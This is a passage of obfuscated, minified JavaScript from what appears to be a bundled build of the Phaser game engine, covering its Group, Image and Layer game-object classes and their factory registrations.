(this['internalCreateCallback'] = _0x1632ff['internalCreateCallback']), _0x1632ff['internalRemoveCallback'] && (this['internalRemoveCallback'] = _0x1632ff['internalRemoveCallback']); for (var _0x5f10a3 = 0x0; _0x5f10a3 < _0x26edbd['length']; _0x5f10a3++) { var _0x4e552d = this['create'](0x0, 0x0, _0x26edbd[_0x5f10a3]['a'], _0x26edbd[_0x5f10a3]['b'], _0x3685b5, _0x31aee1); if (!_0x4e552d) break; _0x3434ea['push'](_0x4e552d); } if (_0x4a4d8e(_0x1632ff, 'setXY')) { var _0x52db4a = _0x4f1872(_0x1632ff, 'setXY.x', 0x0), _0x378e8b = _0x4f1872(_0x1632ff, 'setXY.y', 0x0), _0x98f5cf = _0x4f1872(_0x1632ff, 'setXY.stepX', 0x0), _0x4e0daa = _0x4f1872(_0x1632ff, 'setXY.stepY', 0x0); _0x51945f['SetXY'](_0x3434ea, _0x52db4a, _0x378e8b, _0x98f5cf, _0x4e0daa); } if (_0x4a4d8e(_0x1632ff, 'setRotation')) { var _0x2a23c4 = _0x4f1872(_0x1632ff, 'setRotation.value', 0x0), _0x2d2743 = _0x4f1872(_0x1632ff, 'setRotation.step', 0x0); _0x51945f['SetRotation'](_0x3434ea, _0x2a23c4, _0x2d2743); } if (_0x4a4d8e(_0x1632ff, 'setScale')) { var _0x17a8ac = _0x4f1872(_0x1632ff, 'setScale.x', 0x1), _0x158f53 = _0x4f1872(_0x1632ff, 'setScale.y', _0x17a8ac), _0xafec45 = _0x4f1872(_0x1632ff, 'setScale.stepX', 0x0), _0x1871ae = _0x4f1872(_0x1632ff, 'setScale.stepY', 0x0); _0x51945f['SetScale'](_0x3434ea, _0x17a8ac, _0x158f53, _0xafec45, _0x1871ae); } if (_0x4a4d8e(_0x1632ff, 'setOrigin')) { var _0x49a3bb = _0x4f1872(_0x1632ff, 'setOrigin.x', 0.5), _0x191d39 = _0x4f1872(_0x1632ff, 'setOrigin.y', _0x49a3bb), _0x3acac9 = _0x4f1872(_0x1632ff, 'setOrigin.stepX', 0x0), _0xcd6146 = _0x4f1872(_0x1632ff, 'setOrigin.stepY', 0x0); _0x51945f['SetOrigin'](_0x3434ea, _0x49a3bb, _0x191d39, _0x3acac9, _0xcd6146); } if (_0x4a4d8e(_0x1632ff, 'setAlpha')) { var _0x1deb28 = _0x4f1872(_0x1632ff, 'setAlpha.value', 0x1), _0x4b1c80 = _0x4f1872(_0x1632ff, 'setAlpha.step', 0x0); _0x51945f['SetAlpha'](_0x3434ea, _0x1deb28, _0x4b1c80); } if (_0x4a4d8e(_0x1632ff, 'setDepth')) { var _0x240e48 = _0x4f1872(_0x1632ff, 'setDepth.value', 0x0), _0x6b3e85 = _0x4f1872(_0x1632ff, 'setDepth.step', 0x0); _0x51945f['SetDepth'](_0x3434ea, _0x240e48, _0x6b3e85); } if (_0x4a4d8e(_0x1632ff, 'setScrollFactor')) { var _0x461542 = _0x4f1872(_0x1632ff, 'setScrollFactor.x', 0x1), _0x2cdb8b = _0x4f1872(_0x1632ff, 'setScrollFactor.y', _0x461542), _0xfe5d65 = _0x4f1872(_0x1632ff, 'setScrollFactor.stepX', 0x0), _0x1795bc = _0x4f1872(_0x1632ff, 'setScrollFactor.stepY', 0x0); _0x51945f['SetScrollFactor'](_0x3434ea, _0x461542, _0x2cdb8b, _0xfe5d65, _0x1795bc); } var _0x2a9bf1 = _0x588806(_0x1632ff, 'hitArea', null), _0x5300bf = _0x588806(_0x1632ff, 'hitAreaCallback', null); _0x2a9bf1 && _0x51945f['SetHitArea'](_0x3434ea, _0x2a9bf1, _0x5300bf); var _0xc578c3 = _0x588806(_0x1632ff, 'gridAlign', !0x1); return _0xc578c3 && _0x51945f['GridAlign'](_0x3434ea, _0xc578c3), this['createMultipleCallback'] && this['createMultipleCallback']['call'](this, _0x3434ea), _0x3434ea; }, 'preUpdate': function (_0x395ca9, _0x21010d) { if (this['runChildUpdate'] && 0x0 !== this['children']['size']) for (var _0x17a026 = this['children']['entries']['slice'](), _0x55e217 = 0x0; _0x55e217 < _0x17a026['length']; _0x55e217++) { var _0x1ea23f = _0x17a026[_0x55e217]; _0x1ea23f['active'] && _0x1ea23f['update'](_0x395ca9, _0x21010d); } }, 'add': function (_0x34bac5, _0x554f8a) { return void 0x0 === _0x554f8a && (_0x554f8a = !0x1), this['isFull']() || (this['children']['set'](_0x34bac5), this['internalCreateCallback'] && this['internalCreateCallback']['call'](this, _0x34bac5), this['createCallback'] && this['createCallback']['call'](this, _0x34bac5), _0x554f8a && (_0x34bac5['addToDisplayList'](this['scene']['sys']['displayList']), _0x34bac5['addToUpdateList']()), _0x34bac5['on'](_0xab54e2['DESTROY'], this['remove'], this)), this; }, 'addMultiple': function (_0xf52133, _0x471caf) { if (void 0x0 === _0x471caf && (_0x471caf = !0x1), Array['isArray'](_0xf52133)) { for (var _0x468948 = 0x0; _0x468948 < _0xf52133['length']; _0x468948++)this['add'](_0xf52133[_0x468948], _0x471caf); } return this; }, 'remove': function (_0x386449, _0x227f03, _0x20f56b) { return void 0x0 === _0x227f03 && (_0x227f03 = !0x1), void 0x0 === _0x20f56b && (_0x20f56b = !0x1), this['children']['contains'](_0x386449) ? (this['children']['delete'](_0x386449), this['internalRemoveCallback'] && this['internalRemoveCallback']['call'](this, _0x386449), this['removeCallback'] && this['removeCallback']['call'](this, _0x386449), _0x386449['off'](_0xab54e2['DESTROY'], this['remove'], this), _0x20f56b ? _0x386449['destroy']() : _0x227f03 && (_0x386449['removeFromDisplayList'](), _0x386449['removeFromUpdateList']()), this) : this; }, 'clear': function (_0x197360, _0x26ac87) { void 0x0 === _0x197360 && (_0x197360 = !0x1), void 0x0 === _0x26ac87 && (_0x26ac87 = !0x1); for (var _0x1a40c9 = this['children'], _0x40477e = 0x0; _0x40477e < _0x1a40c9['size']; _0x40477e++) { var _0x4d5dbe = _0x1a40c9['entries'][_0x40477e]; _0x4d5dbe['off'](_0xab54e2['DESTROY'], this['remove'], this), _0x26ac87 ? _0x4d5dbe['destroy']() : _0x197360 && (_0x4d5dbe['removeFromDisplayList'](), _0x4d5dbe['removeFromUpdateList']()); } return this['children']['clear'](), this; }, 'contains': function (_0x50e50a) { return this['children']['contains'](_0x50e50a); }, 'getChildren': function () { return this['children']['entries']; }, 'getLength': function () { return this['children']['size']; }, 'getMatching': function (_0x5cca6e, _0x208e23, _0x296a68, _0x5a6742) { return _0x27c70c(this['children']['entries'], _0x5cca6e, _0x208e23, _0x296a68, _0x5a6742); }, 'getFirst': function (_0x1eaf2c, _0x3572d5, _0x20535d, _0x420776, _0x4188e7, _0xc6e69a, _0x2e0357) { return this['getHandler'](!0x0, 0x1, _0x1eaf2c, _0x3572d5, _0x20535d, _0x420776, _0x4188e7, _0xc6e69a, _0x2e0357); }, 'getFirstNth': function (_0x537770, _0x2fafd2, _0x28d85b, _0x3760b6, _0x4ca8d4, _0x27b7da, _0x13e48a, _0x284e58) { return this['getHandler'](!0x0, _0x537770, _0x2fafd2, _0x28d85b, _0x3760b6, _0x4ca8d4, _0x27b7da, _0x13e48a, _0x284e58); }, 'getLast': function (_0xf4b444, _0x584f45, _0x5aa796, _0x913969, _0x5ebc12, _0x4d58e2, _0x490a40) { return this['getHandler'](!0x1, 0x1, _0xf4b444, _0x584f45, _0x5aa796, _0x913969, _0x5ebc12, _0x4d58e2, _0x490a40); }, 'getLastNth': function (_0x5f26f7, _0x430e36, _0x4208e9, _0x20f442, _0x3e79c5, _0x22b572, _0x48f67f, _0x42e36d) { return this['getHandler'](!0x1, _0x5f26f7, _0x430e36, _0x4208e9, _0x20f442, _0x3e79c5, _0x22b572, _0x48f67f, _0x42e36d); }, 'getHandler': function (_0x11f735, _0x13831a, _0x42fb40, _0x783fb0, _0x261761, _0x570b44, _0x31aede, _0x1bfc01, _0x222394) { var _0x4693ac, _0x207e5b; void 0x0 === _0x42fb40 && (_0x42fb40 = !0x1), void 0x0 === _0x783fb0 && (_0x783fb0 = !0x1); var _0x547917 = 0x0, _0x565b26 = this['children']['entries']; if (_0x11f735) { for (_0x207e5b = 0x0; _0x207e5b < _0x565b26['length']; _0x207e5b++)if ((_0x4693ac = _0x565b26[_0x207e5b])['active'] === _0x42fb40) { if (++_0x547917 === _0x13831a) break; } else _0x4693ac = null; } else { for (_0x207e5b = _0x565b26['length'] - 0x1; _0x207e5b >= 0x0; _0x207e5b--)if ((_0x4693ac = _0x565b26[_0x207e5b])['active'] === _0x42fb40) { if (++_0x547917 === _0x13831a) break; } else _0x4693ac = null; } return _0x4693ac ? ('number' == typeof _0x261761 && (_0x4693ac['x'] = _0x261761), 'number' == typeof _0x570b44 && (_0x4693ac['y'] = _0x570b44), _0x4693ac) : _0x783fb0 ? this['create'](_0x261761, _0x570b44, _0x31aede, _0x1bfc01, _0x222394) : null; }, 'get': function (_0x4ae0aa, _0x28a4a6, _0x28cb01, _0x503e99, _0x246570) { return this['getFirst'](!0x1, !0x0, _0x4ae0aa, _0x28a4a6, _0x28cb01, _0x503e99, _0x246570); }, 'getFirstAlive': function (_0x85d020, _0x1f533f, _0x4980ff, _0x269c30, _0x34bd52, _0x59e60a) { return this['getFirst'](!0x0, _0x85d020, _0x1f533f, _0x4980ff, _0x269c30, _0x34bd52, _0x59e60a); }, 'getFirstDead': function (_0x4b302f, _0x3a2271, _0x3656dc, _0x5d275f, _0xf8a92, _0x1ab3e9) { return this['getFirst'](!0x1, _0x4b302f, _0x3a2271, _0x3656dc, _0x5d275f, _0xf8a92, _0x1ab3e9); }, 'playAnimation': function (_0x4bed27, _0x5f234d) { return _0x51945f['PlayAnimation'](this['children']['entries'], _0x4bed27, _0x5f234d), this; }, 'isFull': function () { return -0x1 !== this['maxSize'] && this['children']['size'] >= this['maxSize']; }, 'countActive': function (_0x3b155a) { void 0x0 === _0x3b155a && (_0x3b155a = !0x0); for (var _0x156e4e = 0x0, _0x56516c = 0x0; _0x56516c < this['children']['size']; _0x56516c++)this['children']['entries'][_0x56516c]['active'] === _0x3b155a && _0x156e4e++; return _0x156e4e; }, 'getTotalUsed': function () { return this['countActive'](); }, 'getTotalFree': function () { var _0x274b23 = this['getTotalUsed'](); return (-0x1 === this['maxSize'] ? 0xe8d4a50fff : this['maxSize']) - _0x274b23; }, 'setActive': function (_0x168a02) { return this['active'] = _0x168a02, this; }, 'setName': function (_0x288d59) { return this['name'] = _0x288d59, this; }, 'propertyValueSet': function (_0x2e9bba, _0x17cf48, _0x361ab7, _0x49f6dc, _0x314bcd) { return _0x51945f['PropertyValueSet'](this['children']['entries'], _0x2e9bba, _0x17cf48, _0x361ab7, _0x49f6dc, _0x314bcd), this; }, 'propertyValueInc': function (_0x3cdf55, _0x4cf914, _0x561c0d, _0x26167d, _0x10cc26) { return _0x51945f['PropertyValueInc'](this['children']['entries'], _0x3cdf55, _0x4cf914, _0x561c0d, _0x26167d, _0x10cc26), this; }, 'setX': function (_0x5bd106, _0x3d96a3) { return _0x51945f['SetX'](this['children']['entries'], _0x5bd106, _0x3d96a3), this; }, 'setY': function (_0x4bb14f, _0x5820cb) { return _0x51945f['SetY'](this['children']['entries'], _0x4bb14f, _0x5820cb), this; }, 'setXY': function (_0xf09a9d, _0x3a7910, _0x211a46, _0x3efe86) { return _0x51945f['SetXY'](this['children']['entries'], _0xf09a9d, _0x3a7910, _0x211a46, _0x3efe86), this; }, 'incX': function (_0x31dcc1, _0x5a1874) { return _0x51945f['IncX'](this['children']['entries'], _0x31dcc1, _0x5a1874), this; }, 'incY': function (_0x3267e3, _0x3a422a) { return _0x51945f['IncY'](this['children']['entries'], _0x3267e3, _0x3a422a), this; }, 'incXY': function (_0x26f7f0, _0x32ecba, _0x20d803, _0x27f159) { return _0x51945f['IncXY'](this['children']['entries'], _0x26f7f0, _0x32ecba, _0x20d803, _0x27f159), this; }, 'shiftPosition': function (_0x39dcb2, _0x1edfc7, _0x32f0c7) { return _0x51945f['ShiftPosition'](this['children']['entries'], _0x39dcb2, _0x1edfc7, _0x32f0c7), this; }, 'angle': function (_0x4d6640, _0x44dfe0) { return _0x51945f['Angle'](this['children']['entries'], _0x4d6640, _0x44dfe0), this; }, 'rotate': function (_0x4806cc, _0x223a60) { return _0x51945f['Rotate'](this['children']['entries'], _0x4806cc, _0x223a60), this; }, 'rotateAround': function (_0x3aaa7c, _0x35f1f7) { return _0x51945f['RotateAround'](this['children']['entries'], _0x3aaa7c, _0x35f1f7), this; }, 'rotateAroundDistance': function (_0x5c66b9, _0x58bf35, _0x5005ca) { return _0x51945f['RotateAroundDistance'](this['children']['entries'], _0x5c66b9, _0x58bf35, _0x5005ca), this; }, 'setAlpha': function (_0x3f9e20, _0x146d7c) { return _0x51945f['SetAlpha'](this['children']['entries'], _0x3f9e20, _0x146d7c), this; }, 'setTint': function (_0xbbdd42, _0x388f65, _0x55ce17, _0x22e994) { return _0x51945f['SetTint'](this['children']['entries'], _0xbbdd42, _0x388f65, _0x55ce17, _0x22e994), this; }, 'setOrigin': function (_0x1579a4, _0x1fd471, _0x36bbfe, _0x43749a) { return _0x51945f['SetOrigin'](this['children']['entries'], _0x1579a4, _0x1fd471, _0x36bbfe, _0x43749a), this; }, 'scaleX': function (_0x45683c, _0x4da7b7) { return _0x51945f['ScaleX'](this['children']['entries'], _0x45683c, _0x4da7b7), this; }, 'scaleY': function (_0x13181c, _0x6471ac) { return _0x51945f['ScaleY'](this['children']['entries'], _0x13181c, _0x6471ac), this; }, 'scaleXY': function (_0x5221dc, _0x59bfc3, _0x11cd09, _0x1d5f3f) { return _0x51945f['ScaleXY'](this['children']['entries'], _0x5221dc, _0x59bfc3, _0x11cd09, _0x1d5f3f), this; }, 'setDepth': function (_0x58fdcf, _0x3975b1) { return _0x51945f['SetDepth'](this['children']['entries'], _0x58fdcf, _0x3975b1), this; }, 'setBlendMode': function (_0x25c701) { return _0x51945f['SetBlendMode'](this['children']['entries'], _0x25c701), this; }, 'setHitArea': function (_0xf522e5, _0x49bc92) { return _0x51945f['SetHitArea'](this['children']['entries'], _0xf522e5, _0x49bc92), this; }, 'shuffle': function () { return _0x51945f['Shuffle'](this['children']['entries']), this; }, 'kill': function (_0x56af94) { this['children']['contains'](_0x56af94) && _0x56af94['setActive'](!0x1); }, 'killAndHide': function (_0x385876) { this['children']['contains'](_0x385876) && (_0x385876['setActive'](!0x1), _0x385876['setVisible'](!0x1)); }, 'setVisible': function (_0x23a314, _0x1a0fd2, _0x3c693b) { return _0x51945f['SetVisible'](this['children']['entries'], _0x23a314, _0x1a0fd2, _0x3c693b), this; }, 'toggleVisible': function () { return _0x51945f['ToggleVisible'](this['children']['entries']), this; }, 'destroy': function (_0x154383, _0x39877f) { void 0x0 === _0x154383 && (_0x154383 = !0x1), void 0x0 === _0x39877f && (_0x39877f = !0x1), this['scene'] && !this['ignoreDestroy'] && (this['emit'](_0xab54e2['DESTROY'], this), this['removeAllListeners'](), this['scene']['sys']['updateList']['remove'](this), this['clear'](_0x39877f, _0x154383), this['scene'] = void 0x0, this['children'] = void 0x0); } }); _0x2b9f12['exports'] = _0x54f303; }, 0x172ff: (_0xda7f65, _0x53bb3f, _0x250351) => { var _0xedb9dc = _0x250351(0xae3b), _0x4ac911 = _0x250351(0x676f); _0xedb9dc['register']('group', function (_0x495f49) { return new _0x4ac911(this['scene'], null, _0x495f49); }); }, 0xd39: (_0x2a2aa5, _0x56efb3, _0xba0fae) => { var _0x5da524 = _0xba0fae(0x676f); _0xba0fae(0x9a05)['register']('group', function (_0x5a5f2d, _0x1f93bc) { return this['updateList']['add'](new _0x5da524(this['scene'], _0x5a5f2d, _0x1f93bc)); }); }, 0x159fb: (_0x382423, _0x46e4c9, _0x47b847) => { var _0x4acddb = _0x47b847(0x145db), _0x1fda54 = _0x47b847(0x7aa9), _0x350a5a = _0x47b847(0x1759b), _0x49455f = _0x47b847(0xe9ab), _0x314f8b = new _0x4acddb({ 'Extends': _0x350a5a, 'Mixins': [_0x1fda54['Alpha'], _0x1fda54['BlendMode'], _0x1fda54['Depth'], _0x1fda54['Flip'], _0x1fda54['GetBounds'], _0x1fda54['Mask'], _0x1fda54['Origin'], _0x1fda54['Pipeline'], _0x1fda54['PostPipeline'], _0x1fda54['ScrollFactor'], _0x1fda54['Size'], _0x1fda54['TextureCrop'], _0x1fda54['Tint'], _0x1fda54['Transform'], _0x1fda54['Visible'], _0x49455f], 'initialize': function (_0x4715b2, _0x373a90, _0x315c8b, _0x385fb5, _0x25b03a) { _0x350a5a['call'](this, _0x4715b2, 'Image'), this['_crop'] = this['resetCropObject'](), this['setTexture'](_0x385fb5, _0x25b03a), this['setPosition'](_0x373a90, _0x315c8b), this['setSizeToFrame'](), this['setOriginFromFrame'](), this['initPipeline'](), this['initPostPipeline'](!0x0); } }); _0x382423['exports'] = _0x314f8b; }, 0x9ecc: _0x4057e3 => { _0x4057e3['exports'] = function (_0x32e39e, _0x177583, _0x5d5741, _0x35029d) { _0x5d5741['addToRenderList'](_0x177583), _0x32e39e['batchSprite'](_0x177583, _0x177583['frame'], _0x5d5741, _0x35029d); }; }, 0x1421b: (_0x59bb80, _0x2627fc, _0x5203e8) => { var _0xb62a79 = _0x5203e8(0x62d9), _0x5735c4 = _0x5203e8(0xae3b), _0x155b71 = _0x5203e8(0x5c10), _0xbd0564 = _0x5203e8(0x159fb); _0x5735c4['register']('image', function (_0x753414, _0x487ef4) { void 0x0 === _0x753414 && (_0x753414 = {}); var _0x1525ac = _0x155b71(_0x753414, 'key', null), _0x2e6bb3 = _0x155b71(_0x753414, 'frame', null), _0x59c6e8 = new _0xbd0564(this['scene'], 0x0, 0x0, _0x1525ac, _0x2e6bb3); return void 0x0 !== _0x487ef4 && (_0x753414['add'] = _0x487ef4), _0xb62a79(this['scene'], _0x59c6e8, _0x753414), _0x59c6e8; }); }, 0x845: (_0xf98505, _0x5cf000, _0x3e4ad2) => { var _0x2f21f9 = _0x3e4ad2(0x159fb); _0x3e4ad2(0x9a05)['register']('image', function (_0x28fb27, _0x58ca04, _0x55635f, _0x2b2fac) { return this['displayList']['add'](new _0x2f21f9(this['scene'], _0x28fb27, _0x58ca04, _0x55635f, _0x2b2fac)); }); }, 0xe9ab: (_0x15d917, _0x1c84dd, _0x435a82) => { var _0x48e49a = _0x435a82(0x7433), _0x1a5fcf = _0x48e49a, _0x3b0749 = _0x48e49a; _0x1a5fcf = _0x435a82(0x184bd), _0x3b0749 = _0x435a82(0x9ecc), _0x15d917['exports'] = { 'renderWebGL': _0x1a5fcf, 'renderCanvas': _0x3b0749 }; }, 0x184bd: _0x31f472 => { _0x31f472['exports'] = function (_0x52e264, _0x22f154, _0x5969e8, _0x5d4f20) { _0x5969e8['addToRenderList'](_0x22f154), this['pipeline']['batchSprite'](_0x22f154, _0x5969e8, _0x5d4f20); }; }, 0x13020: (_0x397afc, _0x493f6a, _0xf57071) => { var _0x37c71d = { 'Events': _0xf57071(0xc9fc), 'DisplayList': _0xf57071(0x1f72), 'GameObjectCreator': _0xf57071(0xae3b), 'GameObjectFactory': _0xf57071(0x9a05), 'UpdateList': _0xf57071(0xafe3), 'Components': _0xf57071(0x7aa9), 'GetCalcMatrix': _0xf57071(0x164a0), 'BuildGameObject': _0xf57071(0x62d9), 'BuildGameObjectAnimation': _0xf57071(0x3303), 'GameObject': _0xf57071(0x1759b), 'BitmapText': _0xf57071(0x56aa), 'Blitter': _0xf57071(0x17db), 'Bob': _0xf57071(0xb5fe), 'Container': _0xf57071(0x7b47), 'DOMElement': _0xf57071(0xbfd), 'DynamicBitmapText': _0xf57071(0xa4e), 'Extern': _0xf57071(0xa5b5), 'Graphics': _0xf57071(0xab37), 'Group': _0xf57071(0x676f), 'Image': _0xf57071(0x159fb), 'Layer': _0xf57071(0x16d9b), 'Particles': _0xf57071(0x47e4), 'PathFollower': _0xf57071(0x487), 'RenderTexture': _0xf57071(0x24f), 'RetroFont': _0xf57071(0xc4), 'Rope': _0xf57071(0x12fbd), 'Sprite': _0xf57071(0x10abf), 'Text': _0xf57071(0xc3fb), 'GetTextSize': _0xf57071(0x378c), 'MeasureText': _0xf57071(0x136c5), 'TextStyle': _0xf57071(0x8bb2), 'TileSprite': _0xf57071(0x5167), 'Zone': _0xf57071(0xa209), 'Video': _0xf57071(0x4827), 'Shape': _0xf57071(0x458b), 'Arc': _0xf57071(0x5c4d), 'Curve': _0xf57071(0x59), 'Ellipse': _0xf57071(0x4dd1), 'Grid': _0xf57071(0x770f), 'IsoBox': _0xf57071(0xf023), 'IsoTriangle': _0xf57071(0x4225), 'Line': _0xf57071(0xe1f7), 'Polygon': _0xf57071(0x6175), 'Rectangle': _0xf57071(0x12341), 'Star': _0xf57071(0xda67), 'Triangle': _0xf57071(0x9043), 'Factories': { 'Blitter': _0xf57071(0x31a5), 'Container': _0xf57071(0x6181), 'DOMElement': _0xf57071(0xa33), 'DynamicBitmapText': _0xf57071(0x11b76), 'Extern': _0xf57071(0xdbfb), 'Graphics': _0xf57071(0x4b1), 'Group': _0xf57071(0xd39), 'Image': _0xf57071(0x845), 'Layer': _0xf57071(0x4e25), 'Particles': _0xf57071(0x2a4), 'PathFollower': _0xf57071(0x16021), 'RenderTexture': _0xf57071(0xec59), 'Rope': _0xf57071(0x17a33), 'Sprite': _0xf57071(0xb549), 'StaticBitmapText': _0xf57071(0x8862), 'Text': _0xf57071(0x109a5), 'TileSprite': _0xf57071(0x16621), 'Zone': _0xf57071(0x148cf), 'Video': _0xf57071(0x15bc1), 'Arc': _0xf57071(0xa643), 'Curve': _0xf57071(0x9e3f), 'Ellipse': _0xf57071(0x607), 'Grid': _0xf57071(0x8559), 'IsoBox': _0xf57071(0xf5d), 'IsoTriangle': _0xf57071(0xc28b), 'Line': _0xf57071(0x9b1), 'Polygon': _0xf57071(0xfd3b), 'Rectangle': _0xf57071(0x15797), 'Star': _0xf57071(0x16e01), 'Triangle': _0xf57071(0xb0bd) }, 'Creators': { 'Blitter': _0xf57071(0x24bb), 'Container': _0xf57071(0x12d57), 'DynamicBitmapText': _0xf57071(0x2b9c), 'Graphics': _0xf57071(0x15427), 'Group': _0xf57071(0x172ff), 'Image': _0xf57071(0x1421b), 'Layer': _0xf57071(0x625b), 'Particles': _0xf57071(0x16a3a), 'RenderTexture': _0xf57071(0x86bf), 'Rope': _0xf57071(0x6661), 'Sprite': _0xf57071(0x3ccf), 'StaticBitmapText': _0xf57071(0xdff8), 'Text': _0xf57071(0x1165b), 'TileSprite': _0xf57071(0x3757), 'Zone': _0xf57071(0x1741d), 'Video': _0xf57071(0x2cf7) } }; _0x37c71d['Shader'] = _0xf57071(0x4e67), _0x37c71d['Mesh'] = _0xf57071(0x125f), _0x37c71d['NineSlice'] = _0xf57071(0x6dc7), _0x37c71d['PointLight'] = _0xf57071(0x139c1), _0x37c71d['Plane'] = _0xf57071(0x837f), _0x37c71d['Factories']['Shader'] = _0xf57071(0x121c1), _0x37c71d['Factories']['Mesh'] = _0xf57071(0x2409), _0x37c71d['Factories']['NineSlice'] = _0xf57071(0xb9a1), _0x37c71d['Factories']['PointLight'] = _0xf57071(0x11657), _0x37c71d['Factories']['Plane'] = _0xf57071(0x7909), _0x37c71d['Creators']['Shader'] = _0xf57071(0xd697), _0x37c71d['Creators']['Mesh'] = _0xf57071(0x502f), _0x37c71d['Creators']['NineSlice'] = _0xf57071(0x6e77), _0x37c71d['Creators']['PointLight'] = _0xf57071(0x9b95), _0x37c71d['Creators']['Plane'] = _0xf57071(0xdacf), _0x37c71d['Light'] = _0xf57071(0xa1d8), _0x37c71d['LightsManager'] = _0xf57071(0xefac), _0x37c71d['LightsPlugin'] = _0xf57071(0x15ba0), _0x397afc['exports'] = _0x37c71d; }, 0x16d9b: (_0x2d67a7, _0x2c7eb1, _0x3c9a3e) => { var _0x47e75a = _0x3c9a3e(0x2848), _0x579904 = _0x3c9a3e(0x145db), _0x1e4d9a = _0x3c9a3e(0x7aa9), _0x54dbca = _0x3c9a3e(0xd20e), _0x206f88 = _0x3c9a3e(0xb345), _0x52dfe1 = _0x3c9a3e(0xc668), _0x59aa69 = _0x3c9a3e(0xc9fc), _0x1e4d7e = _0x3c9a3e(0x11dca), _0x4f7dbb = _0x3c9a3e(0x84ab), _0x2bbc3a = _0x3c9a3e(0xae32), _0x1197f1 = _0x3c9a3e(0x4af2), _0x913003 = new _0x579904({ 'Extends': _0x1e4d7e, 'Mixins': [_0x1e4d9a['AlphaSingle'], _0x1e4d9a['BlendMode'], _0x1e4d9a['Depth'], _0x1e4d9a['Mask'], _0x1e4d9a['PostPipeline'], _0x1e4d9a['Visible'], _0x52dfe1, _0x4f7dbb], 'initialize': function (_0x2998ef, _0x12a594) { _0x1e4d7e['call'](this, _0x2998ef), _0x52dfe1['call'](this), this['scene'] = _0x2998ef, this['displayList'] = null, this['type'] = 'Layer', this['state'] = 0x0, this['parentContainer'] = null, this['name'] = '', this['active'] = !0x0, this['tabIndex'] = -0x1, this['data'] = null, this['renderFlags'] = 0xf, this['cameraFilter'] = 0x0, this['input'] = null, this['body'] = null, this['ignoreDestroy'] = !0x1, this['systems'] = _0x2998ef['sys'], this['events'] = _0x2998ef['sys']['events'], this['sortChildrenFlag'] = !0x1, this['addCallback'] = this['addChildCallback'], this['removeCallback'] = this['removeChildCallback'], this['initPostPipeline'](), this['clearAlpha'](), this['setBlendMode'](_0x47e75a['SKIP_CHECK']), _0x12a594 && this['add'](_0x12a594), _0x2998ef['sys']['queueDepthSort'](); }, 'setActive': function (_0x810673) { return this['active'] = _0x810673, this; }, 'setName': function (_0x4a2980) { return this['name'] = _0x4a2980, this; }, 'setState': function (_0x502f22) { return this['state'] = _0x502f22, this; }, 'setDataEnabled': function () { return this['data'] || (this['data'] = new _0x206f88(this)), this; }, 'setData': function (_0x42174c, _0x826f23) { return this['data'] || (this['data'] = new _0x206f88(this)), this['data']['set'](_0x42174c, _0x826f23), this; }, 'incData': function (_0x20a0ca, _0x51cfcb) { return this['data'] || (this['data'] = new _0x206f88(this)), this['data']['inc'](_0x20a0ca, _0x51cfcb), this; }, 'toggleData': function (_0x12db51) { return this['data'] || (this['data'] = new _0x206f88(this)), this['data']['toggle'](_0x12db51), this; }, 'getData': function (_0x226c71) { return this['data'] || (this['data'] = new _0x206f88(this)), this['data']['get'](_0x226c71); }, 'setInteractive': function () { return this; }, 'disableInteractive': function () { return this; }, 'removeInteractive': function () { return this; }, 'addedToScene': function () { }, 'removedFromScene': function () { }, 'update': function () { }, 'toJSON': function () { return _0x54dbca(this); }, 'willRender': function (_0x2d401a) { return !(0xf !== this['renderFlags'] || 0x0 === this['list']['length'] || 0x0 !== this['cameraFilter'] && this['cameraFilter'] & _0x2d401a['id']); }, 'getIndexList': function () { for (var _0x5ad9ba = this, _0x525d2b = this['parentContainer'], _0x3521fd = []; _0x525d2b && (_0x3521fd['unshift'](_0x525d2b['getIndex'](_0x5ad9ba)), _0x5ad9ba = _0x525d2b, _0x525d2b['parentContainer']);)_0x525d2b = _0x525d2b['parentContainer']; return _0x3521fd['unshift'](this['displayList']['getIndex'](_0x5ad9ba)), _0x3521fd; }, 'addChildCallback': function (_0x5cf6f8) { var _0x5e7637 = _0x5cf6f8['displayList']; _0x5e7637 && _0x5e7637 !== this && _0x5cf6f8['removeFromDisplayList'](), _0x5cf6f8['displayList'] || (this['queueDepthSort'](), _0x5cf6f8['displayList'] = this, _0x5cf6f8['emit'](_0x59aa69['ADDED_TO_SCENE'], _0x5cf6f8, this['scene']), this['events']['emit'](_0x2bbc3a['ADDED_TO_SCENE'], _0x5cf6f8, this['scene'])); }, 'removeChildCallback': function (_0x229305) { this['queueDepthSort'](), _0x229305['displayList'] = null, _0x229305['emit'](_0x59aa69['REMOVED_FROM_SCENE'], _0x229305, this['scene']), this['events']['emit'](_0x2bbc3a['REMOVED_FROM_SCENE'], _0x229305, this['scene']); }, 'queueDepthSort': function () { this['sortChildrenFlag'] = !0x0; }, 'depthSort': function () { this['sortChildrenFlag'] && (_0x1197f1(this['list'], this['sortByDepth']), this['sortChildrenFlag'] = !0x1); }, 'sortByDepth': function (_0x322aea, _0x1c340c) { return _0x322aea['_depth'] - _0x1c340c['_depth']; }, 'getChildren': function () { return this['list']; }, 'addToDisplayList': function (_0xff570d) { return void 0x0 === _0xff570d && (_0xff570d = this['scene']['sys']['displayList']), this['displayList'] && this['displayList'] !== _0xff570d && this['removeFromDisplayList'](), _0xff570d['exists'](this) || (this['displayList'] = _0xff570d, _0xff570d['add'](this, !0x0), _0xff570d['queueDepthSort'](), this['emit'](_0x59aa69['ADDED_TO_SCENE'], this, this['scene']), _0xff570d['events']['emit'](_0x2bbc3a['ADDED_TO_SCENE'], this, this['scene'])), this; }, 'removeFromDisplayList': function () { var _0x50fc57 = this['displayList'] || this['scene']['sys']['displayList']; return _0x50fc57['exists'](this) && (_0x50fc57['remove'](this, !0x0), _0x50fc57['queueDepthSort'](), this['displayList'] = null, this['emit'](_0x59aa69['REMOVED_FROM_SCENE'], this, this['scene']), _0x50fc57['events']['emit'](_0x2bbc3a['REMOVED_FROM_SCENE'], this, this['scene'])), this; }, 'destroy': function (_0x4a01fe) { if (this['scene'] && !this['ignoreDestroy']) { this['emit'](_0x59aa69['DESTROY'], this); for (var _0x297976 = this['list']; _0x297976['length'];)_0x297976[0x0]['destroy'](_0x4a01fe); this['removeAllListeners'](), this['resetPostPipeline'](!0x0), this['displayList'] && (this['displayList']['remove'](this, !0x0, !0x1), this['displayList']['queueDepthSort']()), this['data'] && (this['data']['destroy'](), this['data'] = void 0x0), this['active'] = !0x1, this['visible'] = !0x1, this['list'] = void 0x0, this['scene'] = void 0x0, this['displayList'] = void 0x0, this['systems'] = void 0x0, this['events'] = void 0x0; } } }); _0x2d67a7['exports'] = _0x913003; 